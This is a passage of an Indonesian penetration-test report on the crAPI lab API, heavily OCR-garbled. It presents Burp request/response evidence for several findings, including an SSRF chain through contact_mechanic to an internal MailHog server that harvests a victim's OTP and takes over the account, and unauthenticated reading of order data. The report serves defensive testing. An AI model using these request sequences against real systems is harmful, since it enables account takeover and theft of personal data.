» DAMPAK: tidak ada pembatasan laju pada login -> credential brute-force/stuffing & konsumsi sumber daya tak terbatas. Availability & (via brute-force) Confidentiality terancam.

Figure 14 - Unrestricted Resource Consumption — No Login Rate Limiting (API4) - http://127.0.0.1:8888/identity/api/
auth/login (Login) (Grey-box) - 20 percobaan, tanpa rate limiting
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3.1.5 Improper Inventory Management (API9) - Improper Inventory Management
— Deprecated OTP Endpoint (v2) Still Live

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS
Medium 5.3 /10 Yes CWE-1059

Standard mapping API19:2023 Improper Inventory Management (OWASP API Security Top 10 2023)
Impact rating Low
Bugcrowd VRT P5 - Server Security Misconfiguration (VRT 1.13)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:L/I:N/A:N
Affected feature / URL http://127.0.0.1:8888/identity/api/auth/v2/check-otp (Password Reset OTP - legacy)
Testing approach Grey-box

DESCRIPTION

Beberapa versi endpoint verifikasi OTP aktif bersamaan: versi usang /identity/api/auth/v2/check-otp
masih berfungsi berdampingan dengan v3 saat ini. Membiarkan versi lama hidup memperluas attack
surface dan berpotensi mengekspos kontrol yang lebih lemah.

IMPACT

Penyerang dapat memilih versi endpoint dengan proteksi terlemah (mis. untuk brute-force OTP), dan
versi tak terpelihara bisa melewatkan perbaikan keamanan (Confidentiality/Integrity).

RECOMMENDATION

1. Nonaktifkan versi APl usang (v2) yang tak lagi dipakai.
2. Kelola inventaris versi APl dan dokumentasikan endpoint aktif.
3. Terapkan kontrol keamanan seragam di semua versi yang hidup.

REFERENCES

* VRT 1.13 - Server Security Misconfiguration

* https://owasp.org/API-Security/editions/2023/en/0xa9-improper-inventory-management/
* https://cwe.mitre.org/data/definitions/1059.html

* https://bugcrowd.com/vulnerability-rating-taxonomy

EVIDENCE
URL Terdampak: http://127.0.0.1:8888/identity/api/auth/v2/check-otp (Password Reset OTP - legacy)

a. Tim memanggil endpoint verifikasi OTP versi saat ini /identity/api/auth/v3/check-otp; endpoint
merespons.
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[ ] Burp Suite — Repeater

Versi saat ini: v3/check-otp Send P hitp//127.0.0.1:8888

Request Response -

HTTP/1.1 500
POST /identity/api/auth/ eck-ot . Server: openresty/1.27.1.2

Host: 127. 888 Content-Type: application/json
Content-Type: application/json Content-Length: 58

{"email": "otp":"0000","p
Invalid OTP! Please try again..",
tatus": 500

» Versi terbaru endpoint verifikasi OTP (v3) aktif.

Figure 15 - Improper Inventory Management — Deprecated OTP Endpoint (v2) Still Live (API9) - http://127.0.0.1:8888/
identity/api/auth/v2/check-otp (Password Reset OTP - legacy) (Grey-box) - versi saat ini v3

b. Tim memanggil versi lama /identity/api/auth/v2/check-otp yang masih hidup dan merespons,
menunjukkan versi usang belum dinonaktifkan.

[ ] Burp Suite — Repeater
EXPLOIT: versi LAMA v2 masih hidup Send b http://127.0.0.1:8888

Request Response -

HTTP/1.1 500
POST /identity/api/auth/lv2)/check-otp HTTP/1.1 e r: openresty/1.27.1.2
Host: 127.0.0. 88 -Type: plication/json
Content-Type: application/json Content-Length: 58

"otp":"0000","password" : "x" {

"message": '{Invalid OTP)! Please try again..",
"status": 500
}

» DAMPAK: versi LAMA v2/check-otp masih aktif berdampingan dengan v3 -> memperluas attack surface & versi lama bisa punya proteksi berbeda/lebih lemah.

Figure 16 - Improper Inventory Management — Deprecated OTP Endpoint (v2) Still Live (API9) - http://127.0.0.1:8888/
identity/api/auth/v2/check-otp (Password Reset OTP - legacy) (Grey-box) - versi lama v2 masih hidup

Prepared by Muhammad Faqih 24



VAPT Technical Report - crAPI (Lab) CONFIDENTIAL

3.1.6 Broken Object Property Level Authorization (API3) - Mass Assignment on
User Registration

RESULT CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS TESTED

—rass [ o cwests

Standard mapping API13:2023 Broken Object Property Level Authorization (OWASP API Security Top 10 2023)

Affected feature / URL http://127.0.0.1:8888/identity/api/auth/signup (User Registration)

Testing approach Grey-box

Result PASS — Pertahankan allow-list field yang boleh diset klien saat registrasi.
DESCRIPTION

Endpoint registrasi diuji terhadap mass assignment dengan menyisipkan field privileged (role=admin,
isAdmin=true) pada body signup. Server mengabaikan field privileged tersebut sehingga tidak terjadi
eskalasi hak.

EVIDENCE
URL Terdampak: http://127.0.0.1:8888/identity/api/auth/signup (User Registration)

a. Tim mendaftarkan akun hanya dengan field standar (name, email, number, password); server
membalas HTTP 200.

[ ) Burp Suite — Repeater

NORMAL: registrasi standar Send P http://127.0.0.1:8888

Request Response -

POST /identity/api/auth/signup HTTP/1.1 HTTP/1.1 403

Host: 127.0.0.1:8888 Server: openresty/1.27.1.2

Content-Type: application/json Content-Type: application/json
Content-Length: 71

{"name":"MassAssign Tester","email":"massassign_9430@example.com","number":"+19990

111","password":"P@ssword1l"}

» NORMAL FLOW: registrasi dengan field standar (tanpa role).

Figure 17 - Mass Assignment on User Registration (API3) - http://127.0.0.1:8888/identity/api/auth/signup (User
Registration) (Grey-box) - Normal flow: registrasi standar

b. Tim mendaftar lagi, kali ini menyisipkan role=admin dan isAdmin=true pada body; server juga
membalas HTTP 200.
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[ ) Burp Suite — Repeater

EXPLOIT: sisipkan role=admin

Request

CONFIDENTIAL

http://127.0.0.1:8888

Response

yang
HTTP/1.1 403
POST /identity/api/auth/signup HTTP/1.1 Server: openresty/1.27.1.2

Host: 127.0.0.1:8888 Content-Type: application/json
Content-Type: application/json Content-Length: 71

{"name":"MassAssign Teste massassign_1511@example.com", " number":"+19990 {
222", "password":"P@ssword i isAdmin":true} "message": "Number already registered! Number: +19990222",
"status": 403
}

» PERCOBAAN EKSPLOITASI: menyisipkan field privil rol in & i i pada body signup.

Figure 18 - Mass Assignment on User Registration (API3) - http://127.0.0.1:8888/identity/api/auth/signup (User
Registration) (Grey-box) - Percobaan: sisipkan field privileged role/isAdmin

c. Tim login dengan akun tersebut dan mendekode JWT; role tetap "user", membuktikan field privileged
diabaikan (kontrol efektif).

[ ] Burp Suite — Repeater
HASIL: role diabaikan (PASS) Send P> http://127.0.0.1:8888

Request Response -

POST /identity/api/auth/login HTTP/1.1 HTTP/1.1 401
Host: 127.0.0.1:8888 Server: openresty/1.27.1.2
Content-Type: application/json Content-Type: application/json

Content-Length: 88

{"emai assassign_1511@example.com","password":"P@sswdrdl"}

: "Given Email is not registered! "
"mfaRequired": false
}

# IWT payload —> |role: "user") (BUKAN admin)

» KONTROL BERJALAN (PASS): login akun tsb menunjukkan role="user"; field pri

ged diabaikan server. itasi GAGAL, CIA tidak terlanggar.

Figure 19 - Mass Assignment on User Registration (API3) - http://127.0.0.1:8888/identity/api/auth/signup (User
Registration) (Grey-box) - Hasil: role tetap user, kontrol efektif
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3.1.7 Broken Object Level Authorization (API1) - Missing Authentication Check on
Vehicle Location (Unauthenticated Access)

RESULT CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS TESTED

s [ o cwesoe

Standard mapping API1:2023 Broken Object Level Authorization (OWASP API Security Top 10 2023)

Affected feature / URL http://127.0.0.1:8888/identity/api/v2/vehicle/{vehicleld}/location (Vehicle Location)
Testing approach Grey-box

Result PASS — Pertahankan autentikasi wajib; tambahkan juga pemeriksaan kepemilikan objek

(lihat temuan FAIL terkait).

DESCRIPTION

Endpoint lokasi kendaraan diuji terhadap akses tanpa autentikasi dengan mengirim permintaan tanpa
token. Server mewajibkan autentikasi dan menolak permintaan.

EVIDENCE
URL Terdampak: http://127.0.0.1:8888/identity/api/v2/vehicle/{vehicleld}/location (Vehicle Location)

a. Tim mengakses lokasi kendaraan miliknya sendiri dengan token valid; server membalas HTTP 200
(normal flow).

[ ] Burp Suite — Repeater
NORMAL: lokasi kendaraan sendiri (auth) Send P> http://127.0.0.1:8888

Request Response -

GET /identity/api/v2/vehicle/9b3ce26b-d797-404b-a961-09d7e45e@d1b/location HTTP/1. HTTP/1.1 200

il S openresty/1.27.1.2
Host: 127. 8 ~Type: application/json
Author H Content-Length: 177

i0jE30TA20TA3MTQsImV4cCIBMTcSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM

{
"9b3ce26b-d797-404b-a961-09d7e45e0d1b" ,
ciCnp-6Vm_xf7953AWjZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSyt8K8PLFR11qqB03gDeIv2HFI~ cation": {
4,
"latitud
"longitude"
}H
"fullNamr"« "Mk
"email":
}

» NORMAL FLOW: akses lokasi kendaraan sendiri dengan token valid -> 200.

Figure 20 - Missing Authentication Check on Vehicle Location (Unauthenticated Access) (API1) - http://127.0.0.1:8888/
identity/api/v2/vehicle/{vehicleld}/location (Vehicle Location) (Grey-box) - Normal flow: lokasi kendaraan sendiri
dengan token

b. Tim mengirim ulang permintaan tanpa header Authorization. Server membalas HTTP 401,
mengonfirmasi kontrol autentikasi efektif.
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[ ) Burp Suite — Repeater

EXPLOIT: tanpa token (ditolak) Send P

Request

yang

GET /identity/api/v2/vehicle/9b3ce26b-d797-404b-a961-09d7e45e@d1b/location HTTP/1

1
Host: 127.0.0.1:8888
Accept: application/json

# HEADER Authorization SENGAJA DIHAPUS

CONFIDENTIAL

http://127.0.0.1:8888

Response

HTTP/1.1 401
Server: openresty/1.27.1.2

Content-Type: application/json;charset=IS0-8859-1
Content-Length: 49

CRAPIResponse(message=Invalid Token), status=401)

» PERCOBAAN EKSPLOITASI: akses tanpa token -> 401. KONTROL AUTENTIKASI BERJALAN (PASS). (BOLA tetap terjadi via token user lain - lihat [FAIL].)

Figure 21 - Missing Authentication Check on Vehicle Location (Unauthenticated Access) (API1) - http://127.0.0.1:8888/
identity/api/v2/vehicle/{vehicleld}/location (Vehicle Location) (Grey-box) - Percobaan ditolak: tanpa token -> 401
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I 3.1.8 Broken Authentication (API2) - Password Reset OTP Per-Session Lockout

RESULT CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS TESTED

rass [ o cwesor

Standard mapping API2:2023 Broken Authentication (OWASP API Security Top 10 2023)

Affected feature / URL http://127.0.0.1:8888/identity/api/auth/v3/check-otp (Password Reset OTP)

Testing approach Grey-box

Result PASS — Jadikan lockout persisten per akun agar tak dapat di-reset lewat permintaan

OTP baru (lihat temuan FAIL terkait).

DESCRIPTION

Brute-force OTP dalam satu sesi OTP diuji. Endpoint verifikasi mengunci setelah 9 percobaan salah,
sehingga brute-force per-sesi gagal pada jalur ini.

EVIDENCE
URL Terdampak: http://127.0.0.1:8888/identity/api/auth/v3/check-otp (Password Reset OTP)

a. Tim mengirim satu OTP salah ke check-otp; server membalas Invalid OTP (satu percobaan normal).

[} Burp Suite — Repeater
NORMAL: satu percobaan OTP Send b http://127.0.0.1:8888

Request Response -

ST /identity/api/auth/v3/c k-otp HTTP/1.1
pst: 127.0.0.1:8888

Content-Type: application/json

''9901" ), "password":"x"}

» NORMAL FLOW: satu percobaan OTP salah -> Invalid OTP.

Figure 22 - Password Reset OTP Per-Session Lockout (API2) - http://127.0.0.1:8888/identity/api/auth/v3/check-otp
(Password Reset OTP) (Grey-box) - Normal flow: satu percobaan OTP salah

b. Tim mengulang percobaan; pada percobaan ke-10 endpoint mengunci dengan HTTP 503 "You've
exceeded the number of attempts", mengonfirmasi kontrol per-sesi efektif.
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[ ] Burp Suite — Repeater

EXPLOIT: brute-force -> lockout (PASS) Send P http:/127.0.0.1:8888
Request Response -

POST /identity/api/auth/v3/check-otp HTTP/1.1
Host: 127.0.0.1:8888

Content-Type: application/json

HTTP/1.1 503
Ser openresty/1.27.1.2

Content-Type: application/json
Content-Length: 66

: "'You've exceeded the number of attempts.",
503

» PERCOBAAN EKSPLOITASI: brute-force OTP dalam satu sesi. KONTROL BERJALAN (PASS): setelah 9 percobaan, lockout memicu (503 exceeded attempts). (Bypass via forget-password ada di [FAIL].)

Figure 23 - Password Reset OTP Per-Session Lockout (API2) - http://127.0.0.1:8888/identity/api/auth/v3/check-otp
(Password Reset OTP) (Grey-box) - Percobaan ditolak: lockout memicu pada percobaan ke-10

Prepared by Muhammad Faqih 30



VAPT Technical Report - crAPI (Lab) CONFIDENTIAL

3.2 crAPlI Workshop Service (http://127.0.0.1:8888/workshop)

3.2.1 Server Side Request Forgery (AP17) - Server-Side Request Forgery (SSRF) via
Contact Mechanic — Internal MailHog — Account Takeover

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS

Critical 9.6 /0 Yes CWE-918
Standard mapping API17:2023 Server Side Request Forgery (OWASP API Security Top 10 2023)
Impact rating Critical
Bugcrowd VRT P1 - Server-Side Request Forgery (SSRF) (VRT 1.9)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Affected feature / URL http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic)
Testing approach Grey-box
DESCRIPTION

Endpoint contact_mechanic menerima URL penuh pada parameter mechanic_api dan melakukan
permintaan HTTP server-side ke URL tersebut, lalu memantulkan responsnya. Penyerang dapat
mengarahkannya ke layanan INTERNAL yang tidak terekspos publik. Dieskalasi: SSRF diarahkan ke
server email internal MailHog (mailhog:8025) untuk membaca email seluruh pengguna, memanen OTP
reset-password korban, dan mereset password korban — mencapai account takeover.

IMPACT

Critical (Confidentiality + Integrity). SSRF membaca seluruh inbox email internal (MailHog, 45 email)
termasuk OTP/token reset milik pengguna lain, yang lalu dipakai untuk mengambil alih akun mana pun
yang emailnya diketahui — tanpa mengetahui kredensial korban. Saat pengujian tim membaca OTP
korban dan login sebagai korban.

RECOMMENDATION

1.Jangan terima URL sembarang dari klien; gunakan allow-list endpoint mekanik sah.

2. Blokir skema & rentang IP internal (loopback, RFC1918) serta hostname service internal (mis.
mailhog, crapi-identity).

3.Jangan pantulkan respons upstream mentah ke klien.

4, Segmentasi jaringan layanan internal (MailHog, actuator) agar tak terjangkau service penerima URL.

REFERENCES
* VRT 1.9 - Server-Side Request Forgery
* https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/
* https://cwe.mitre.org/data/definitions/918.html
* https://bugcrowd.com/vulnerability-rating-taxonomy

EVIDENCE

URL Terdampak: http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic)
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CONFIDENTIAL
a. Tim login ke crAPI. Dashboard menampilkan fitur 'Contact Mechanic' yang memicu panggilan server-
side ke mechanic APl yang diuji di bawah.

CrAPI Dashboard  Shop

Community

Good Morning, Muhammad Fagih! @ Muhammad ... ¥

Vehicles Details

COMPANY

BMW
MODEL 5 Series
FUEL TYPE PETROL
YEAR : 2026

- @) Hope Well Muse

%
%
2
| ' *
: Contracting ]
Corporation

Houston™" =
Hardee 3

i\ RS | _ 5 &3

Fords Mill Rd Fords M H O Tractor Supply.Co - g%
N % o 3 N
@ N, cypressS o 5 SR G

“(weE* [ s Google % 2 L]

aae?® Iz _
C Refresh Location

Keyboard shortcuts Map data ©2026 Terms  Report a map eror

Talk to me! @ .

Figure 24 - Server-Side Request Forgery (SSRF) via Contact Mechanic — Internal MailHog — Account Takeover (API7) -
http://127.0.0.1:8888 (Grey-box) - Dashboard crAPI dengan fitur 'Contact Mechanic' (browser)

b. Tim mengirim contact_mechanic dengan mechanic_api yang sah; workshop melakukan permintaan
server-side dan memantulkan responsnya (perilaku normal).

[} Burp Suite — Repeater

NORMAL: contact mechanic Send b

Request

http://127.0.0.1:8888
Response -

POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888

Author: on

HTTP/1.1 200 0K

Server: openresty/1.27.1.2
arer eyJhbGci0ilSUzIINiJ9.eyJzdWIi0imYXFpaEBnbWFpbC5jb20il CIpYXQ Content-Type: application/json
10jE30TA20TA3MTQsImV4cCIBMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrVvM Content-Length: 270
WSgX1XkvyP_: CNs40s@BwWNFP6m15JkS_gAyFmcPJ9MqhN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
PlhalYV7A4h 9sQNFyFwh1GXTSpSE5VNGzMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPeyl1G {
ciCnp-6Vm_xf7g53AWjZ1Zg9d3kbDjHAVI pn2czd98QQdK2E-DCQSy t8K8PLFR11qqB03gDeIv2HF]- "response_from_mechanic_api”: {
R-eds9QfnoeCUUk4BPBcND7BbqTFVVX6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g "mechanics": [

{
"mechanic_ap. "id": 1,
umber_of_repeats": 1, "

{"mechanic_code": "TRAC_JHN", "problem_deta
ttp://127.0.0.1:8888/wor

"mobil rusak",
hop/api/mechanic/",
9NB3CL6ZEA9X1"}

"mechanic_code": "TRAC_JHN",

@example.com",

"mechanic_code": "TRAC_JME",
"user": {

"email' @example.com",
"numbe

}
I

1

"previous_offset": null,
"next_offset": null
h

"status": 200

}
» NORMAL FLOW: workshop mechanic AP (;

de) dan

Figure 25 - Server-Side Request Forgery (SSRF) via Contact Mechanic — Internal MailHog — Account Takeover (API17) -
http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - normal: server
mem-fetch mechanic API
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c. Tim menetapkan mechanic_api ke server MailHog internal (http://mailhog:8025/api/v2/messages)
yang TIDAK terjangkau dari luar. Workshop mengambilnya dan mengembalikan seluruh inbox (45 email
seluruh pengguna).

[ ] Burp Suite — Repeater

EXPLOIT: SSRF -> MailHog internal Send http://127.0.0.1:8888

Request Response -

= kotak merah = bagian yang diubah dari normal flow
HTTP 200
POST /workshop/api/merchant/contact_mechanic HTTP/1.1

Host: 127.0.0.1:8888 {

Authorization: Bearer "response_from_mechanic_api": {
107E30TA20TA3MTQsImV4cCIGMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8aLrvM “tota

"items_shown": [

{

uToMs
"Subject: ~crara vir

{"mechanic_code": "TRAC_JHN", "problem_detai obil rusak", "mechanic_api": "{h

ttp://mailhog:8025/api/v2/messages|', "number_of_repeats": 1, "vin": "861PINB3CL6ZE {

A9X1"} "To":

""couponpass_6148@example.com",
"Subject": "Welcome to crAPI"

# CATATAN: MailHog internal (mailhog:8025) TIDAK terekspos ke luar; SSRF membaca S
ELURUH 58 email semua user.

» EKSPLOITASI: mechanic_api diarahkan ke MailHog internal (mailhog:8025) -> membaca SELURUH inbox email seluruh pengguna (tak terjangkau dari luar).

Figure 26 - Server-Side Request Forgery (SSRF) via Contact Mechanic — Internal MailHog — Account Takeover (API17) -
http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - SSRF membaca
inbox MailHog internal (45 email)

d. Tim mengarahkan mechanic_api ke pencarian MailHog untuk alamat korban dan membaca email
reset-password korban, memanen OTP 4-digit — tanpa akses ke akun korban.

[ ] Burp Suite — Repeater

EXPLOIT: panen OTP korban Send » http://127.0.0.1:8888

Request Response -

n yang diut ormal flow
HTTP 200
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888 # Email OTP korban (Raw.Data) hasil SSRF ke MailHog:
Autho ation: Bearer
i07E30TA20TA3MTQSIMVACLLOMICOMI LON I UXNLWLCMYSLS1bLINVZZXL1TY. QLVELYKNNGLYSYOVEQLIVM Date: Tue, 29 Sep 2026 14:05:35 +0000 (UTC)
From: no-reply@example.com
To:
Message-ID: <1585033080.57.1790690735293@4f2ddf916d38>
Subje
MIME-Ve
{"mechanic code": "TRAC JHN". "problem details": "mobil rusak". "mechanic_api": "{h| Content-Type: text/html; charset=us-ascii

"number_of_repea Content-Transfer-Encoding: 7bit

TS™: 1, “VIN": "OOLFYNDIULOLEAYAL )
<table border='0' cellpadding: ' cellspacing='0" class='btn btn-pri
align='cente table border='0' cellpaddii 0' cellspacing='0"'><tr
td> </td><td>Your one time generated |otp is: 9899k/td></tr></tabl:
ble>

» EKSPLOITASI: SSRF membaca email reset-password KORBAN di MailHog -> OTP 4-digit (9899) ter-panen tanpa akses ke akun korban.

Figure 27 - Server-Side Request Forgery (SSRF) via Contact Mechanic — Internal MailHog — Account Takeover (API17) -
http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - panen OTP korban
via SSRF

e. Tim mengirim OTP hasil panen ke /identity/api/auth/v3/check-otp; server membalas 'OTP verified'
dan mereset password korban.
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[ ] Burp Suite — Repeater

CHAIN: reset password korban Send > http://127.0.0.1:8888

Request Response -

= kotak merah = bag diubah dari normal
HTTP/1.1 200
POST /identity/api/auth/v3/check-otp HTTP/1.1 Server: openresty/1.27.1.2

Host: 127.0.0.1:8888 Content-Type: application/json
Content-Type: application/json Content-Length: 39

{"email": ,\"otp":"9899" ), "password":"Pwned_By_SSRF_123!"}
: "OTP verified)',

» CHAIN: OTP hasil panen SSRF dipakai untuk reset password KORBAN -> 'OTP verified' (password korban diubah oleh penyerang).

Figure 28 - Server-Side Request Forgery (SSRF) via Contact Mechanic — Internal MailHog — Account Takeover (API17) -
http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - reset password
korban dgn OTP panen

f. Tim login sebagai korban dengan password baru dan memperoleh Bearer token valid — account
takeover penuh (Confidentiality + Integrity).

[ ] Burp Suite — Repeater
DAMPAK CIA: ATO login korban Send P http://127.0.0.1:8888

Request Response -

= kotak merah = bagian yang diubah dari normal flow

HTTP/1.1 200
POST /identity/api/auth/login HTTP/1.1 Si openresty/1.27.1.2
Host: 127.0.0.1:8888 Content-Type: application/json
Content-Type: application/json Content-Length: 540

{"email™: "password":'{Pwned_By_SSRF_123!]'} {

{

NTKWNZMZLLJ LeHA1UTESU I EVUIUIMZYSLNJVDGULU1J1C2VVING. LYOCKLZNHI 255 I4SPaPE LESUMYVLTL

I_G6PNT_NVj661uBhp282q2z17STTHqOWrDUEG2saq9vgNw5_nhK2gKWgLSHieV_1P4jdZmcErimignXgu
1UCzsej9fu2FsCWge5R4-KSCS0Ok2hHeSjopticTiGfHQSz4q2YQIA",
earer",
"Login successful",
'mfaRequired": false

» DAMPAK CIA: login sebagai KORBAN dengan password baru BERHASIL (token diterbitkan) -> Account Takeover penuh. Confidentiality + Integrity.

Figure 29 - Server-Side Request Forgery (SSRF) via Contact Mechanic — Internal MailHog — Account Takeover (API17) -
http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - login sebagai korban
— Account Takeover
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3.2.2 Broken Function Level Authorization (API5) - Unauthenticated Access to
Order Details

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS

m 7.5 1 Yes CWE-306

Standard mapping API15:2023 Broken Function Level Authorization (OWASP API Security Top 10 2023)
API1:2023 Broken Object Level Authorization (OWASP API Security Top 10 2023)

Impact rating High
Bugcrowd VRT P2 - Broken Access Control (BAC) (VRT 3.6)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:N/A:N
Affected feature / URL http://127.0.0.1:8888/workshop/api/shop/orders/{order_id} (Order Details)
Testing approach Grey-box
DESCRIPTION

Ditemukan kerentanan kontrol akses pada layanan shop. Endpoint yang mengembalikan detail
pesanan tidak memerlukan autentikasi, dan order_id bersifat sekuensial serta mudah dienumerasi.
Pihak anonim mana pun dapat mengiterasi identifier pesanan dan membaca pesanan seluruh
pelanggan.

IMPACT

Penyerang dapat memanfaatkan kerentanan ini untuk memanen PIll seluruh pelanggan (email, nomor
telepon, produk, status), termasuk akun administrator, tanpa kredensial. Saat pengujian, tim
memperoleh detail pesanan milik admin@example.com tanpa autentikasi (Confidentiality).

RECOMMENDATION

1. Wajibkan autentikasi pada endpoint order dan verifikasi bahwa order milik pemanggil.
2. Ganti order ID sekuensial dengan UUID yang tak dapat ditebak.
3. Terapkan otorisasi terpusat pada seluruh endpoint workshop.

REFERENCES

* VRT 3.6 - Broken Access Control
* https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/
* https://cwe.mitre.org/data/definitions/306.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
URL Terdampak: http://127.0.0.1:8888/workshop/api/shop/orders/{order_id} (Order Details)

a. Tim login ke crAPlI dan membuka halaman 'Past Orders' yang menampilkan fitur 'Order Details' yang
didukung API rentan yang diuji di bawah.
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crAPI Dashboard Shop Community

Good Morning, Muhammad Fagih! @ Muhammad ... ¥

< Past Orders

Seat Wheel
$10.00 $10.00
Mon Sep 28 2026 Mon Sep 28 2026

Talk to me! @ .

Figure 30 - Unauthenticated Access to Order Details (API5) - http://127.0.0.1:8888 (Grey-box) - Halaman Past Orders
crAPI dengan 'Order Details' (browser)

b. Tim meminta detail pesanan menggunakan token autentikasi yang valid; server membalas HTTP 200
(normal, sesuai harapan).

[ ] Burp Suite — Repeater
NORMAL: akses order ber-autentikasi Send > hitp://127.0.0.1:8888

Request Response -

HTTP/1.1 200 0K
Serv
XFpaEBNbWFpbC5jb20iLCIpYXQ  Content-Ty application/json
M Content-Length: 545

e00fb0d2541",

elc-4e00bad2541",

» NORMAL FLOW: mengakses detail order dengan token autentikasi yang valid -> 200.

Figure 31 - Unauthenticated Access to Order Details (API5) - http://127.0.0.1:8888/workshop/api/shop/orders/
{order_id} (Order Details) (Grey-box) - Normal flow: permintaan order ber-autentikasi

c. Tim mengirim ulang permintaan yang sama dengan menghapus seluruh header Authorization.
Server tetap membalas HTTP 200 dan membocorkan PIl pemilik order (admin@example.com),
mengonfirmasi hilangnya autentikasi (Confidentiality).
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[ Burp Suite — Repeater
EXPLOIT+CIA: tanpa token Send >

Request

i/shop/orders/5 HTTP/1.1
888
Accept: application/json

# HEADER Authorization SENGAJA DIHAPUS (tanpa autentikasi apa pun)

CONFIDENTIAL

http://127.0.0.1:8888

Response -

HTTP/1.1 200

Server: openri

Content-Type: application/json
Content-Length: 545

{

: '{admin@example. con)',
9010203040"

"image_url": "images/seat.svg"
"quantity": 2,
“status": "delivered",
“transaction_id": "0da10365-9
“created_on":

card_number' X

“card_owner_nanme"

» DAMPAK CIA: TANPA header Authorization pun server mengembalikan order lengkap -> Confidentiality: email & nomor telepon customer (akun admin@example.com) bocor ke publik.

Figure 32 - Unauthenticated Access to Order Details (API5) - http://127.0.0.1:8888/workshop/api/shop/orders/

{order_id} (Order Details) (Grey-box) - Eksploitasi: tanpa autentikasi, Pll bocor
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3.2.3 Broken Function Level Authorization (API5) - Broken Function Level
Authorization — Management Endpoint Exposes All Users

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS
Medium 6.5 /0 Yes CWE-285
Standard mapping API15:2023 Broken Function Level Authorization (OWASP API Security Top 10 2023)

API13:2023 Broken Object Property Level Authorization (OWASP API Security Top 10 2023)

Impact rating High
Bugcrowd VRT P2 - Broken Access Control (BAC) (VRT 3.6)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UL:N/S:U/C:H/I:N/A:N
Affected feature / URL http://127.0.0.1:8888/workshop/api/management/users/all (User Management)
Testing approach Grey-box
DESCRIPTION
Endpoint manajemen /workshop/api/management/users/all -- yang semestinya hanya untuk

administrator -- dapat diakses pengguna terautentikasi biasa (role=user) dan mengembalikan data
seluruh pengguna.

IMPACT

Pengguna biasa mana pun dapat mengunduh Pl seluruh pengguna (email, nomor telepon, credit).
Otorisasi tingkat fungsi tidak ditegakkan, membocorkan seluruh basis pengguna.

RECOMMENDATION

1. Terapkan otorisasi berbasis peran (verifikasi role=admin di server) pada semua endpoint
manajemen/administratif.

2.Jangan mengandalkan ketiadaan tautan Ul sebagai kontrol akses.

3. Minimalkan data yang dikembalikan.

REFERENCES

* VRT 3.6 - Broken Access Control

* https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/
* https://cwe.mitre.org/data/definitions/285.html

* https://bugcrowd.com/vulnerability-rating-taxonomy

EVIDENCE
URL Terdampak: http://127.0.0.1:8888/workshop/api/management/users/all (User Management)

a. Tim mengakses dashboard-nya sendiri dengan token user biasa; server hanya mengembalikan akun
attacker sendiri (id=8).
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[ ] Burp Suite — Repeater
NORMAL: data milik sendiri Send > http://127.0.0.1:8888

Request Response

GET /identity/api/v2/vehicle/vehicles HTTP/1.1 HTTP/1.1 200
Host: 127.0.0.1:8888 Server: openresty/1.27.1.2

Authorization: Bearer eyJhbGci0ilSUzIINiJ9.eyJzdWIi0iJmYXFpaEBnbWFpbC5jb20ilCIpYXQ  Content-Type: application/json

10jE30TA20TA3MTQs ImV4cCIGMTCSMTISNTUXNCWicm9sZSI6InVZzZXIifQ. qiVELYKhnGZYsQoV8gLrVM  Content-Length: 368
WSqX1XkvyP_8xBeCNs40s0BwNFP6m15IkS_gAyFmcPI9MghN_4BCGuoIQ71mzzqWAUPd29NImLh170aiYF
PlhalYV7A4h7XGY9sQNFyFwh1GXTSpSESVNGZMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7g53AWjZ12g9d3kbDjHAVN697pn 80QdK2E-DCQSy t8K8PLFR11qqBO3gDeIv2HFI—
R-eds9QfnoeCUUk4BPBCND7BbqTFVVXEFUVX-A_1sIe8KMGNS L10P6zcDsSmQFMHMubilsdv7g

"'861PINB3CL6ZEAIX1L",
: 2026,
INACTIVE",

wners": [],

“fuel_type"
“vehicle_ images/bmw-5. jpg",
"vehiclecom {

"vehicleLocation": {
"id": 4,
"latitude": "38.206348",
"longitud 270172"
}
“owner": null
¥

1

» NORMAL FLOW: user biasa (role=user) hanya melihat data miliknya sendiri.

Figure 33 - Broken Function Level Authorization — Management Endpoint Exposes All Users (APIS5) - http://
127.0.0.1:8888/workshop/api/management/users/all (User Management) (Grey-box) - normal: hanya akun sendiri

